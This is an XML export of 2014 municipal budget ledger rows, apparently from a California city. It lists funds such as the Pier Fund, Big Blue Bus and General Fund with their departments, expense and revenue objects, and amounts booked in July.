<row _id="7497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>130070.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130070.0</total></row>
<row _id="7498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>96927.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>96927.0</total></row>
<row _id="7499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>509.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>509.0</total></row>
<row _id="7500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5125.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5125.0</total></row>
<row _id="7501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>513.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>513.0</total></row>
<row _id="7502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522550.0</object><object_description>AD POSTINGS (CCB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>36000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36000.0</total></row>
<row _id="7503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408290.0</object><object_description>FIRE SAFETY OFFICER ASSIGN FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-420000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-420000.0</total></row>
<row _id="7504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-8141.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8141.0</total></row>
<row _id="7505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1558.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1558.0</total></row>
<row _id="7506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522990.0</object><object_description>STOCKROOM REPAIR PARTS &amp; MATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>615000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>615000.0</total></row>
<row _id="7507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTILITIES-WATER-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14050.0</total></row>
<row _id="7508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-210000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-210000.0</total></row>
<row _id="7509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2798.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2798.0</total></row>
<row _id="7510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403720.0</object><object_description>HUD SERIAL INEBRIATE GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-21672.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21672.0</total></row>
<row _id="7511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404211.0</object><object_description>OTHER OPER REV-OUTSIDE ADVERTI</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-250000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-250000.0</total></row>
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<row _id="7513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41177.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41177.0</total></row>
<row _id="7514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="7515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>410.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>410.0</total></row>
<row _id="7516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="7517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>308.0</total></row>
<row _id="7518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3658.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3658.0</total></row>
<row _id="7519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577240.0</object><object_description>SERVICE AGREEMENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>259005.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>259005.0</total></row>
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<row _id="7521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="7522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19341.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19341.0</total></row>
<row _id="7523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563129.0</object><object_description>SENIOR CENTER OPERATIONS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>151500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>151500.0</total></row>
<row _id="7524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>407780.0</object><object_description>FIBER OPTIC SERVICES</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-1600000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1600000.0</total></row>
<row _id="7525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567230.0</object><object_description>PFA 2011B (PSF)</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1061450.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1061450.0</total></row>
<row _id="7526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>555215.0</object><object_description>OUTSIDE TRAINER PAYMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20910.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20910.0</total></row>
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<row _id="7528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
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<row _id="7533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="7574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563128.0</object><object_description>PARATRANSIT PROGRAM-GENERAL FD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>93504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93504.0</total></row>
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<row _id="7578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUST SUPPLIES CITY TV</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5160.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5160.0</total></row>
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<row _id="7582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2760.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2760.0</total></row>
<row _id="7583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>140700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>140700.0</total></row>
<row _id="7584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUSTODIAL SUPP-TRIMANA</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3800.0</total></row>
<row _id="7585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533223.0</object><object_description>BLDG/STR MAINT-ACCESS CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="7586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566650.0</object><object_description>MALL MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>59000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>59000.0</total></row>
<row _id="7587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3140.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3140.0</total></row>
<row _id="7588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-6718.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6718.0</total></row>
<row _id="7589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-48337.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-48337.0</total></row>
<row _id="7590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6914.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6914.0</total></row>
<row _id="7591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4551.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4551.0</total></row>
<row _id="7592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-68664.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-68664.0</total></row>
<row _id="7593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>254617.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>254617.0</total></row>
<row _id="7594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>448827.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>448827.0</total></row>
<row _id="7595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6602.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6602.0</total></row>
<row _id="7596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2988.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2988.0</total></row>
<row _id="7597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2392.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2392.0</total></row>
